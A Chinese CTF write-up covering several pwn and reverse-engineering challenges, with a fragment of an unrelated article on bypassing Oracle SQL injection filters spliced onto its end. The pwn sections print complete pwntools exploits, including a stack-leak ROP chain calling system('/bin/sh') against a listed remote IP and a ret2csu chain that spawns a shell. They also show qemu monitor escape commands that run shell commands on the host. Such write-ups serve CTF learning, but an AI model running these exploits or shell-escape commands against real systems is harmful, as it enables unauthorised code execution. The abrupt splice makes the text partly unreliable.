std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v6);
if ( (int)v3 == 3 )
{
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v5, v4);
argv = (const char **)v5;
lative_func((__int64)v6);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v6);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v5);
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v4);
}
}
题目先经过clac函数进行一些过滤和计算，结果如果=3则进入lative_func：
__int64 __fastcall lative_func(__int64 a1)
{
__int64 value; // rax
size_t v3; // r12
const void *v4; // rbx
void *v5; // rax
int idx; // [rsp+1Ch] [rbp-A4h] BYREF
char v8[32]; // [rsp+20h] [rbp-A0h] BYREF
char v9[32]; // [rsp+40h] [rbp-80h] BYREF
char ptr[32]; // [rsp+60h] [rbp-60h] BYREF
char v11[40]; // [rsp+80h] [rbp-40h] BYREF
unsigned __int64 v12; // [rsp+A8h] [rbp-18h]
v12 = __readfsqword(0x28u);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v9);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(ptr);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v11);
std::operator<<<std::char_traits<char>>(&std::cout, ">>> ");
std::istream::operator>>(&std::cin, &idx); <--------输入下标------>
split(v8, ptr);
if ( !std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::size(v8) && idx <= 7 )
{
std::operator<<<std::char_traits<char>>(&std::cout, ">>> ");
std::operator>><char>(&std::cin, ptr); <--------输入字符串--------->
std::operator<<<std::char_traits<char>>(&std::cout, ">>> ");
value = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](ptr, idx); <---------返回ptr相应下标的地址>
std::operator>><char,std::char_traits<char>>(&std::cin, value); <-------向该地址写入数据------>
}
std::operator<<<char>(&std::cout, ptr); <---------输出ptr，此处用于泄露stack地址------>
std::operator<<<std::char_traits<char>>(&std::cout, ">>> ");
std::operator>><char>(&std::cin, v9); <-------输入memcpy的size，可控--------->
v3 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(v9);
v4 = (const void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(v9);
v5 = (void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(v11);
memcpy(v5, v4, v3); <---------存在溢出------->
std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>::~vector(v8);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v11);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(ptr);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v9);
return a1;
}
此函数存在由idx下标为负数时可以改写ptr的size，使得输出ptr的时候泄露栈地址，如下是idx=-1，输入value=0x33,*ptr=0x32的情况,此时size已经写入了0x33，变成了`0x3300000000000001`
'>>> ' │──────────────────────────────────────────────────────────────────────────────────────────────
[DEBUG] Sent 0x4 bytes: │gef➤ telescope 0x00007ffe288d8320 20
'1+2\n' │0x00007ffe288d8320│+0x0000: 0x00007ffe288d8420 → 0x00007ffe288d8430 → 0x00007ffe00322b31 (
[DEBUG] Received 0x4 bytes: │"1+2"?) ← $rsp
'>>> ' │0x00007ffe288d8328│+0x0008: 0x00007ffe288d8440 → 0x00007ffe288d8450 → 0x00007f0e00322b31 (
[DEBUG] Sent 0x3 bytes: │"1+2"?)
'-1\n' │0x00007ffe288d8330│+0x0010: 0x00007ffe288d8350 → 0x0000000000000000
[DEBUG] Received 0x4 bytes: │0x00007ffe288d8338│+0x0018: 0xffffffffcfa02893
'>>> ' │0x00007ffe288d8340│+0x0020: 0x0000000000000000
[DEBUG] Sent 0x2 bytes: │0x00007ffe288d8348│+0x0028: 0x0000000000000000
'2\n' │0x00007ffe288d8350│+0x0030: 0x0000000000000000
[*] running in new terminal: ['/usr/bin/gdb', '-q', './string_go', '45127'] │0x00007ffe288d8358│+0x0038: 0x00005624cfa02208 → <calc(std::__cxx11::basic_string<char,+0> m
[DEBUG] Created script for new terminal: │ov QWORD PTR [rbp-0x80], rbx
#!/usr/bin/python │0x00007ffe288d8360│+0x0040: 0x00007ffe288d8370 → 0x00000003288d8500
import os │0x00007ffe288d8368│+0x0048: 0x0000000000000000
os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './string_go', '45127'], os.environ) │0x00007ffe288d8370│+0x0050: 0x00000003288d8500
[DEBUG] Launching a new terminal: ['/usr/bin/tmux', 'splitw', '-h', '-F#{pane_pid}', '/tmp/tmp│0x00007ffe288d8378│+0x0058: 0x4008000000000000
8Hg7Mg'] │0x00007ffe288d8380│+0x0060: 0x00007ffe288d8390 → 0x00005624d0930032 → 0x0000000000000000 <------ptr------>
[+] Waiting for debugger: Done │← $rax
[*] Paused (press any to continue) │0x00007ffe288d8388│+0x0068: 0x3300000000000001 <-----size----->
[DEBUG] Received 0x4 bytes: │0x00007ffe288d8390│+0x0070: 0x00005624d0930032 → 0x0000000000000000
'>>> ' │0x00007ffe288d8398│+0x0078: 0x0000000000000000
[DEBUG] Sent 0x2 bytes: │0x00007ffe288d83a0│+0x0080: 0x00007ffe288d83b0 → 0x0000000000000000
'3\n' │0x00007ffe288d83a8│+0x0088: 0x0000000000000000
│0x00007ffe288d83b0│+0x0090: 0x0000000000000000
[*] Paused (press any to continue) │0x00007ffe288d83b8│+0x0098: 0x00007f0e99c4dbe6 → <void+0> mov r12, QWORD PTR [rsp]
当`std::operator<<<char>(&std::cout, ptr);`的时候可以泄露地址，接下来就是常规的ROP，来控制控制流了。
### exp
from pwn import *
local = 1
binary="./string_go"
elf = ELF(binary, checksec=False)
if local:
context.terminal =['/usr/bin/tmux', 'splitw', '-h', '-F#{pane_pid}' ]
p = process(binary)
libc = ELF('./libc-2.27.so', checksec=False)
bin_sh=0x00000000001b3e1a
context.log_level = "debug"
else:
p=remote("82.157.20.104", 32000)
libc = ELF('./libc-2.27.so', checksec=False)
bin_sh = 0x00000000001b3e1a
def debug_1(addr,show=[],PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(str(hex(text_base+i)))
for item in show:
debug_str+='x /50xg {:#x}\n'.format(text_base+item)
gdb.attach(p,debug_str)
else:
for i in addr:
text_base=0
debug_str+='b *{:#x}\n'.format(text_base+i)
gdb.attach(p,debug_str)
def leak(ptr,index,value):
p.sendlineafter(">>>", index)
p.sendlineafter(">>>", ptr)
gdb.attach(p)
pause()
p.sendlineafter(">>>", value)
p.recv()
info=p.recv(4096,timeout=1)
print(info)
pause()
return info
p.sendlineafter(">>>","1+2")
info=leak(str(2),str(-1),str(3))
#debug_1([0x0000000000002415, 0x0000000000003cf3])
# info=p.recv(0x400)
# print(info[0:1])
# print(info)
# print(info)
canary=u64(info[7*8:7*8+8])
print("canary ==>",hex(canary))
elf_base=u64(info[9*8:9*8+8])-elf.symbols["_start"]
print("elf_base ==>",hex(elf_base))
off=0x000000000021BF7#libc.symbols["__libc_start_main"]+238
print(hex(off))
libc_base=u64(info[0xf8:0xf8+8])-off
print("libc_base ==>",hex(libc_base))
prdi=0x0000000000003cf3
ret = 0x00000000000014ce
payload=p64(0)*3+p64(canary)+p64(0)*3+p64(ret+elf_base)+p64(elf_base+prdi)+p64(libc_base+bin_sh)+p64(libc_base+libc.symbols["system"])
#gdb.attach(p)
p.sendline(payload)
#p.sendlineafter(">>>","aa")
p.interactive()
### 总结
C++实现的程序，通过string结构体，通过idx来覆盖size大小，造成地址泄露，memcpy溢出劫持控制流。需要对c++的一些结构有了解，ida反编译出的c++代码逻辑没有c的清晰，需要仔细分析各个对象的含义。
## PWN -> blind
### 题目分析
题目附件有一个readme，如下：
Don't try to guess the libc version or Brute-force attack.Believe me, there will be no results,but there is a general way to solve it.
看来出题人不想让我们用泄露libc或者暴力攻击的方式攻击，可能远程环境libc被改了。
这道题目保护只开了NX，很简单的逻辑只有read函数存在溢出且没有其他可以泄露的函数，ida代码如下：
ssize_t __fastcall main(int a1, char **a2, char **a3)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(8u);
sleep(3u);
return read(0, buf, 0x500uLL); <--------buffer overflow------->
}
明显存在栈溢出，对于没有泄露函数且只开了NX保护的基本栈溢出情况，我们攻击的基本方法是
1. 通过修改alarm函数的偏移使其变为syscall函数，从而调用syscall(‘/bin/sh’,0,0)来拿shell
2. 通过修改alarm函数的偏移使其变为syscall函数，syscall调用write函数泄露alarm地址计算libc，溢出劫持控制流。
本题明显提示不能用libc的方法去攻击，所以选择一种方法。
### 利用
1. 通过通用方法ret2csu来构造rop修改alarm的末字节位’\x19’，指向syscall
2. csu调用read输入0x3b个字符，设置rax=0x3b(system调用号)
3. csu调用实现syscall(‘/bin/sh’,0,0),拿到shell。
### exp
from pwn import *
remote_addr=['127.0.0.1',49156] # 23333 for ubuntu16, 23334 for 18, 23335 for 19
context.terminal = ["/bin/tmux", "sp","-h"]
context.log_level=True
#p=remote(remote_addr[0],remote_addr[1])
elf_path = "./blind"
p = process(elf_path)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF(elf_path)
#gdb.attach(p, 'c')
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr = None):
if addr:
print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
else:
print('\033[1;32;40m[-] %-20s \033[0m'%(s))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def csu(addr,rbx,rbp,r12,r13,r14,r15,ret):
payload = p64(addr)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(ret)
payload += 'A' * 8 * 7
return payload
if __name__ == '__main__':
bss = 0x601088
alarm_got = elf.got["alarm"]
read_plt = elf.got["read"]
buff = 'A' * 88
buff += csu(0x4007BA,0,1,read_plt,1,alarm_got,0,0x4007A0) # modify alarm 0x19
buff += csu(0x4007BA,0,1,read_plt,0x3b,bss,0,0x4007A0) # modify rax=0x3b
buff += csu(0x4007BA,0,1,alarm_got,0,0,bss,0x4007A0) # syscall('/bin/sh',0,0)
buff = buff.ljust(0x500,'\x00')
#gdb.attach(p)
sn(buff)
#sn('\x15') # ubuntu 18.04
sn('\x19') #ubuntu20.04
sn('/bin/sh\x00'+(0x3b-8)*'A')
p.interactive()
### 总结
这个是比较常规的栈溢出的利用方式，当时做题思路被带偏了，一直在ret2dll-resolve而自己对ret2dll-resolve不太了解，用集成工具一直拿不到shell，没有想到这种利用方式，还是做题少，思路不够发散灵活。
## PWN -> easy_kernel
### qemu逃逸
在qemu启动过程中qemu monitor也随之会启动，用来管理qemu的镜像。
如果qemu启动命令没有-monitor，就有可能存在qemu逃逸
方法：CTRL+A C进入qemu的monitor模式就可以运行一些命令了。
monitor模式下migrate命令：`migrate "exec:cp rootfs.img /tmp "`可以执行一些命令
### 题目分析
题目qemu没有关闭monitor，直接ctrl+A C进去逃逸，解压rootfs.img读flag
migrate "exec:cp rootfs.img /tmp "
migrate "exec:cd /tmp;zcat rootfs.img | cpio -idmv 1>&2"
migrate "exec:cat /tmp/flag 1>&2"
(qemu) migrate "exec:cat /tmp/flag 1>&2"
flag{test_flag}qemu-system-x86_64: failed to save SaveStateEntry with id(name):)
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe
### 总结
第一次尝试做这个kernel pwn，没想到是个简单的逃逸，考察队qemu逃逸的理解，和monitor下命令的运用。
## Re -> ROR
### 题目分析
题目附件是一个32位的exe文件，ida打开发现如下逻辑：
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-2C0h]
char v5; // [esp+8Fh] [ebp-231h]
int v6[9]; // [esp+94h] [ebp-22Ch]
int j; // [esp+B8h] [ebp-208h]
unsigned int i; // [esp+BCh] [ebp-204h]
char Buf2[256]; // [esp+C0h] [ebp-200h] BYREF
char input[256]; // [esp+1C0h] [ebp-100h] BYREF
__CheckForDebuggerJustMyCode(&unk_406029);
v6[0] = 128;
v6[1] = 64;
v6[2] = 32;
v6[3] = 16;
v6[4] = 8;
v6[5] = 4;
v6[6] = 2;
v6[7] = 1;
memset(input, 0, sizeof(input));
memset(Buf2, 0, sizeof(Buf2));
sub_401650("Input:", v4);
sub_4016A0("%40s", (char)input);
if ( strlen(input) != 40 )
exit(0);
for ( i = 0; i < 0x28; i += 8 )
{
for ( j = 0; j < 8; ++j )
{
v5 = ((v6[j] & input[i + 3]) << (8 - (3 - j) % 8u)) | ((v6[j] & (unsigned int)input[i + 3]) >> ((3 - j) % 8u)) | ((v6[j] & input[i + 2]) << (8 - (2 - j) % 8u)) | ((v6[j] & (unsigned int)input[i + 2]) >> ((2 - j) % 8u)) | ((v6[j] & input[i + 1]) << (8 - (1 - j) % 8u)) | ((v6[j] & (unsigned int)input[i + 1]) >> ((1 - j) % 8u)) | ((v6[j] & (unsigned __int8)input[i]) << (8 - -j % 8u)) | ((v6[j] & (unsigned int)input[i]) >> (-j % 8u));
Buf2[j + i] = table[(unsigned __int8)(((v6[j] & (unsigned __int8)input[i + 7]) << (8 - (7 - j) % 8u)) | ((v6[j] & (unsigned int)input[i + 7]) >> ((7 - j) % 8u)) | ((v6[j] & input[i + 6]) << (8 - (6 - j) % 8u)) | ((v6[j] & (unsigned int)input[i + 6]) >> ((6 - j) % 8u)) | ((v6[j] & input[i + 5]) << (8 - (5 - j) % 8u)) | ((v6[j] & (unsigned int)input[i + 5]) >> ((5 - j) % 8u)) | ((v6[j] & input[i + 4]) << (8 - (4 - j) % 8u)) | ((v6[j] & (unsigned int)input[i + 4]) >> ((4 - j) % 8u)) | v5)];
}
}
if ( memcmp(&enc, Buf2, 0x28u) )
{
puts("Wrong");
exit(0);
}
puts("Congratulations");
puts("flag is DASCTF{your input}");
return 0;
}
程序逻辑很简单，关键是循环里面的移位转换操作是什么算法，怎么逆向；程序最后的加密密文enc和table表都是知道的，加密流程如下：
对每个字节进行转换，转换后在table表里索引得到值就是对应的enc，所以首先要将真正的计算结果算出来，所以先拿enc匹配获得table的下标，就是每个字节转换后的结果，之后最方便的方法就是用Z3约束求解，一把梭哈。
### exp
enc = [
0x65, 0x55, 0x24, 0x36, 0x9D, 0x71, 0xB8, 0xC8, 0x65, 0xFB,
0x87, 0x7F, 0x9A, 0x9C, 0xB1, 0xDF, 0x65, 0x8F, 0x9D, 0x39,
0x8F, 0x11, 0xF6, 0x8E, 0x65, 0x42, 0xDA, 0xB4, 0x8C, 0x39,
0xFB, 0x99, 0x65, 0x48, 0x6A, 0xCA, 0x63, 0xE7, 0xA4, 0x79,
0xFF, 0xFF, 0xFF, 0xFF
]
table = [
0x65, 0x08, 0xF7, 0x12, 0xBC, 0xC3, 0xCF, 0xB8, 0x83, 0x7B,
0x02, 0xD5, 0x34, 0xBD, 0x9F, 0x33, 0x77, 0x76, 0xD4, 0xD7,
0xEB, 0x90, 0x89, 0x5E, 0x54, 0x01, 0x7D, 0xF4, 0x11, 0xFF,
0x99, 0x49, 0xAD, 0x57, 0x46, 0x67, 0x2A, 0x9D, 0x7F, 0xD2,
0xE1, 0x21, 0x8B, 0x1D, 0x5A, 0x91, 0x38, 0x94, 0xF9, 0x0C,
0x00, 0xCA, 0xE8, 0xCB, 0x5F, 0x19, 0xF6, 0xF0, 0x3C, 0xDE,
0xDA, 0xEA, 0x9C, 0x14, 0x75, 0xA4, 0x0D, 0x25, 0x58, 0xFC,
0x44, 0x86, 0x05, 0x6B, 0x43, 0x9A, 0x6D, 0xD1, 0x63, 0x98,
0x68, 0x2D, 0x52, 0x3D, 0xDD, 0x88, 0xD6, 0xD0, 0xA2, 0xED,
0xA5, 0x3B, 0x45, 0x3E, 0xF2, 0x22, 0x06, 0xF3, 0x1A, 0xA8,
0x09, 0xDC, 0x7C, 0x4B, 0x5C, 0x1E, 0xA1, 0xB0, 0x71, 0x04,
0xE2, 0x9B, 0xB7, 0x10, 0x4E, 0x16, 0x23, 0x82, 0x56, 0xD8,
0x61, 0xB4, 0x24, 0x7E, 0x87, 0xF8, 0x0A, 0x13, 0xE3, 0xE4,
0xE6, 0x1C, 0x35, 0x2C, 0xB1, 0xEC, 0x93, 0x66, 0x03, 0xA9,
0x95, 0xBB, 0xD3, 0x51, 0x39, 0xE7, 0xC9, 0xCE, 0x29, 0x72,
0x47, 0x6C, 0x70, 0x15, 0xDF, 0xD9, 0x17, 0x74, 0x3F, 0x62,
0xCD, 0x41, 0x07, 0x73, 0x53, 0x85, 0x31, 0x8A, 0x30, 0xAA,
0xAC, 0x2E, 0xA3, 0x50, 0x7A, 0xB5, 0x8E, 0x69, 0x1F, 0x6A,
0x97, 0x55, 0x3A, 0xB2, 0x59, 0xAB, 0xE0, 0x28, 0xC0, 0xB3,
0xBE, 0xCC, 0xC6, 0x2B, 0x5B, 0x92, 0xEE, 0x60, 0x20, 0x84,
0x4D, 0x0F, 0x26, 0x4A, 0x48, 0x0B, 0x36, 0x80, 0x5D, 0x6F,
0x4C, 0xB9, 0x81, 0x96, 0x32, 0xFD, 0x40, 0x8D, 0x27, 0xC1,
0x78, 0x4F, 0x79, 0xC8, 0x0E, 0x8C, 0xE5, 0x9E, 0xAE, 0xBF,
0xEF, 0x42, 0xC5, 0xAF, 0xA0, 0xC2, 0xFA, 0xC7, 0xB6, 0xDB,
0x18, 0xC4, 0xA6, 0xFE, 0xE9, 0xF5, 0x6E, 0x64, 0x2F, 0xF1,
0x1B, 0xFB, 0xBA, 0xA7, 0x37, 0x8F
]
tmp = []
for i in range(len(enc)):
for j in range(len(table)):
if table[j] == enc[i]:
tmp.append(j)
print (tmp)
import z3
input = [z3.BitVec("p%d" % i,8) for i in range(40)]
v6 = [0]*8
v6[0] = 128;
v6[1] = 64;
v6[2] = 32;
v6[3] = 16;
v6[4] = 8;
v6[5] = 4;
v6[6] = 2;
v6[7] = 1;
s = z3.Solver()
for i in range(0,0x28,8):
for j in range(8):
v5 = ((v6[j] & input[i + 3]) << (8 - (3 - j) % 8)) | ((v6[j] & input[i + 3]) >> ((3 - j) % 8)) | ((v6[j] & input[i + 2]) << (8 - (2 - j) % 8)) | ((v6[j] & input[i + 2]) >> ((2 - j) % 8)) | ((v6[j] & input[i + 1]) << (8 - (1 - j) % 8)) | ((v6[j] & input[i + 1]) >> ((1 - j) % 8)) | ((v6[j] & input[i]) << (8 - -j % 8)) | ((v6[j] & input[i]) >> (-j % 8))
v = ((v6[j] & input[i + 7]) << (8 - (7 - j) % 8)) | ((v6[j] & input[i + 7]) >> ((7 - j) % 8)) | ((v6[j] & input[i + 6]) << (8 - (6 - j) % 8)) | ((v6[j] & input[i + 6]) >> ((6 - j) % 8)) | ((v6[j] & input[i + 5]) << (8 - (5 - j) % 8)) | ((v6[j] & input[i + 5]) >> ((5 - j) % 8)) | ((v6[j] & input[i + 4]) << (8 - (4 - j) % 8)) | ((v6[j] & input[i + 4]) >> ((4 - j) % 8))
s.add(v5 | v == tmp[i+j])
sat = s.check()
m = s.model()
flag = []
for i in range(len(m)):
#print (input[i])
flag.append(m[input[i]].as_long())
print (bytes(flag).decode())
'''
[0, 181, 122, 206, 37, 108, 7, 223, 0, 251, 124, 38, 75, 62, 134, 154, 0, 255, 37, 144, 255, 28, 56, 176, 0, 231, 60, 121, 225, 144, 251, 30, 0, 204, 179, 51, 78, 145, 65, 222, 29, 29, 29, 29]
Q5la5_3KChtem6_HYHk_NlHhNZz73aCZeK05II96
'''
### 总结
弄清题目加密逻辑，寻找最简单的解题方法，z3最擅长的就是方程式（表达式）的约束求解，加深了z3约束求解的使用。
## Re -> 虚假的粉丝
### 题目分析
题目给的附件是一个mp3文件、exe、和一堆加密的文件，运行exe文件如下
So.... I heard you are AW's fans. So do I.
Yesterday I got a strange video. It might be one of AW's MV.
But I think something was hided in this MV. Can you find it for me?(Y/N)
Please give me your secret key(part1):44444
And key(part2):4444
And the final key:444
No No No! That key is wrong!
ida打开看逻辑：
// bad sp value at call has been detected, the output may be wrong!
// positive sp value has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
v3 = alloca(sub_402390((char)&retaddr));
sub_402150();
strcpy(FileName, "./f/ASCII-faded ");
v18 = 0;
v19 = 0;
v20 = 0;
v29 = '\x14\xC4';
sub_401350("So.... I heard you are AW's fans. So do I.\n");
sub_401350("Yesterday I got a strange video. It might be one of AW's MV.\n");
sub_401350("But I think something was hided in this MV. Can you find it for me?(Y/N)\n");
scanf("%c", &v13);
if ( v13 == 'N' )
{
system("cls");
sub_401350("You are not a real fans!\n");
return 0;
}
if ( v13 == 89 )
{
system("cls");
sub_401350("Get Ready!\nThe 'REAL' challenge has began!\n");
}
sub_401350("Please give me your secret key(part1):");
v28 = 0;
scanf("%d", &v12); <-------文件名>
sub_401350("And key(part2):");
scanf("%d", &Offset); <-------文件偏移>
sub_401350("And the final key:");
scanf("%d", &ElementSize); <-------字符长度>
FileName[16] = (char)v12 / -24 + 48;
v15 = (char)(v12 / 100) % 10 + 48;
v16 = (char)(v12 / 10) % 10 + 48;
v17 = v12 % 10 + 48;
v18 = 'txt.';
Stream = fopen(FileName, "r");
if ( !Stream )
{
sub_401350("No No No! That key is wrong!\n");
fclose(Stream);
return 0;
}
memset(Buffer, 0, sizeof(Buffer));
fseek(Stream, Offset, 0);
fread(Buffer, ElementSize, 1u, Stream);
sub_401350("%s\n", Buffer);
if ( Buffer[0] != 'U' || Buffer[39] != 'S' ) <-------读出的字符以'U'开头'S'结尾>
{
sub_401350("Sorry! Wrong Key.\n");
fclose(Stream);
return 0;
}
fflush(&iob[1]);
fflush(&iob[1]);
sub_401350("This key might be right, You have to try: ");
scanf("%29s", v22); <---------输入密钥'A'开头'R'结尾>
if ( v22[0] == 'A' && v22[10] == 'R' )
{
sub_401350("Yes! that is the true key!\n");
Sleep(0x7D0u);
v28 = 1;
}
if ( v28 == 1 )
{
v29 = 5317;
Stream = fopen("./f/ASCII-faded 5315.txt", "rb"); <----------打开5315文件>
if ( !Stream )
{
sub_401350("ERROR!\n");
return 0;
}
fread(v6, 0x4EDEu, 1u, Stream);
fclose(Stream);
v26 = 0;
for ( i = 0; i <= 2126; ++i )
{
if ( v26 > 10 )
v26 = 0;
v6[i] ^= v22[v26++]; <-----------亦或>
}
Stream = fopen("./f/ASCII-faded 5315.txt", "w"); <-----------再次写入文件>
fwrite(v6, 0x84Fu, 1u, Stream);
fclose(Stream);
}
dwCursorPosition.X = 0;
dwCursorPosition.Y = 0;
hConsoleOutput = GetStdHandle(0xFFFFFFF5);
ConsoleCursorInfo.bVisible = 0;
ConsoleCursorInfo.dwSize = 1;
SetConsoleCursorInfo(hConsoleOutput, &ConsoleCursorInfo);
v5 = (char *)calloc(0x100000u, 1u);
setvbuf(&iob[1], v5, 0, 0x100000u);
system("cls");
system("pause");
mciSendStringA("open ./faded.mp3", 0, 0, 0);
mciSendStringA("play ./faded.mp3", 0, 0, 0);
for ( j = 1; j < v29; ++j )
{
Sleep(0x1Eu);
v23 = j;
FileName[16] = (char)j / -24 + 48;
v15 = (char)(j / 100) % 10 + 48;
v16 = (char)(j / 10) % 10 + 48;
v17 = j % 10 + 48;
v18 = 1954051118;
Stream = fopen(FileName, "r");
fread(v21, 0x3264u, 1u, Stream);
fflush(&iob[1]);
sub_401350("%s", v21);
SetConsoleCursorPosition(hConsoleOutput, dwCursorPosition);
fclose(Stream);
}
Sleep(0x2710u);
return 0;
}
这个题逻辑很清楚，类似与MISC的类型，从附件所给的文件中找出以U开头S结尾的文件名（key1），文件偏移（key2），字符长度（final
key），之后输入真正的密钥（A开头R结尾）就可以解密5315文件,确定文件名和偏移
➜ f grep -E "U.{38}S" *.txt
ASCII-faded 4157.txt:aaZ8088aaZ88B008BBBBB8888Z088Z8ZZZaX8@WBWW@W@W@W@W@WWWWBWBBB@@UzNDcmU3X0szeSUyMCUzRCUyMEFsNE5fd0FsSzNSWMa ............,.,.,.,,,,:
➜ f
文件名4157,确定seek偏移，这里如果将文件读出来再确定字符串的偏移会和seek的偏移有一定出入，所以这里直接用字符匹配得到seek的偏移
with open('ASCII-faded 4157.txt','r',encoding='utf-8') as f:
#content = f.read()
flag = True
i = 0
while(flag):
f.seek(i)
content = f.read(40)
# print (content)
if content == 'UzNDcmU3X0szeSUyMCUzRCUyMEFsNE5fd0FsSzNS':
flag = False
print ('offest:',i)
i+=1
import urllib.parse
import base64
dec = base64.b64decode('UzNDcmU3X0szeSUyMCUzRCUyMEFsNE5fd0FsSzNS')
print(urllib.parse.unquote(str(dec,'utf-8')))
# offest: 1118
# S3Cre7_K3y = Al4N_wAlK3R
得到seek偏移为1118，长度为40，输入程序解密5315文件：
So.... I heard you are AW's fans. So do I.
Yesterday I got a strange video. It might be one of AW's MV.
But I think something was hided in this MV. Can you find it for me?(Y/N)
Please give me your secret key(part1):4157
And key(part2):1118
And the final key:40
UzNDcmU3X0szeSUyMCUzRCUyMEFsNE5fd0FsSzNS
This key might be right, You have to try: Al4N_wAlK3R
Yes! that is the true key!
找到解密后的文件：
➜ f cat ASCII-faded\ 5315.txt
i;i;i;iririririri;iririri;i;;riririri;i;iriririr;;iriri;iririri;iri;iririririririri;i;iri;i;iri;irir;ri;iriri
iiriiiii;;riri;ii:i:i:ii;i;iiiii;iiiii;i;;riri;i;i;iri;iii;i;iii;iiiii;iiiii;iri;iiii:ii;iiiii;;rir;ririri;i;
:ii:,::iiriririi::.,.,,::ii;:::::i::::iiiiiii;irir;;i;::,::i:::::i::,::i:::iir;rii::ir:ii::::ii;i;i;i;i;iiii:
::::@B@,iiririi:@B@B@B@B::i::2@B:::B@q::i:::ii;iririi::B@Bi::B@B:,:@@U:,BBM:iirii,PB@B;::.@B5:i:i:i:iii:i::::
::,@B@BY:iiri;i:B@B@B@B@::.L:@B@.:,@B@.:,7jr,:i;iri;i:L@B@B.,G@@,.B@B@..B@F:irii:;B@B7,:.@B@B,:r:,Lv,:::,ju7,
:,F@@:@B.:iirir::..B@ ..@B@BkS@B.:.B@B.7@@@@@i:i;i;i:.@@,B@u..@BE @@@B:r@B,:ri;iiB@B@B.:@B@BG.iB@B@B@7.B@B@B:
,,@@BUB@B::;iriii:i@Bi.i@@Oi.BB@.,.@B@ @B@B@B@:ii;ii,@B@j@B@..X@B0B1v@@@B2:iirii:,B@2.E@@;B@@i:@@v @@@ @@@O7.
.B@@@B@@@r:iri;ii:7B@i:i@B.,:2@B5iuB@2.B@B80@U:irii:LB@B@B@B@..B@B@..B@@@.:i;i;ii.@B5.@B@@@@@B,B@..B@B.:uB@BU
7@B;...@B@:i:iiiiir@Br:;B@ii::B@B@B@B,,UB@B@B::iii::B@B...v@B7,BB@B,,@B@0::iiiii::B@F:,,..B@G.i@@:.@B@.@B@B@i
:i:::::::i::::::ii:ii:i:i::ii::,;7;,::i:,iL7::::::::;:::::::ri::::::i:::::i::,::::i:::i:i::::::ii:::::::LL:,,
::iii;ii::B@B@B@:iiiiiiiiiiri;ii:i:iiiiiii::::B@B@@@:iiiiiii:iii:iiiiiiiiir@B@B@Mi:iiiiri;iiiiiiiiiiiiii:i:i:
ii;iririi:rrr;rriiririri;iririri;i;iri;iri;iii7rrrrriiriririri;i;i;i;iri;iirr;rrriiiri;iriri;i;iriri;iriiiiii
i;i;iriri;ii:i:ii;ir;ririri;i;iririri;i;;r;ri;ii:i:iiriririririri;iri;;ririi:i:ii;iri;iriririririririririr;;i
拿到flag为`A_TrUe_AW_f4ns`
### 总结
题目不难，就是比较MISC。
## 附件
[附件](https://github.com/1094093288/IMG/tree/master/Pwn/xihulunjian) | 社区文章 |
文前先感谢大家的支持，上篇[Oracle数据库注入总结](https://xz.aliyun.com/t/9940)想着后续学习一下如何进行利用，getshell的，奈何技术还太菜了，再加上项目压力大，所以就慢慢搁置了。这里先出一篇bypass的，文中仅针对Oracle数据库，但是bypass手法我认为万变不离其宗，思想上是通用的，希望能够对大家有所帮助。
## 0x01 环境准备
### 一、安装Oracle数据库
1、首先下载数据库安装软件
具体可以从参考这里，我是从他的百度云下载的
<https://blog.csdn.net/qq_32786873/article/details/81187208>
2、点击setup.exe安装即可
（安装过程不过多阐述，没什么太大区别，就下一步下一步即可）
3、开启oracle数据库
打开cmd，连接数据库
C:\Users\user>sqlplus
请输入用户名: system
输入口令:
连接到:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
防止网络不通，建议关闭防火墙
4、使用navicat连接数据库（system:root）
5、也可以使用sql plus新建用户
### 二、安装phpstudy
1、phpstudy下载地址如下：
<http://public.xp.cn/upgrades/phpStudy20161103.zip>
这里推荐使用2016版本，因为我使用2018死活搭不成功
安装过程很简单，设置安装路径，下一步下一步即可。
2、切换版本为5.5.38，这里推荐这个因为我就是这个搭成功的。
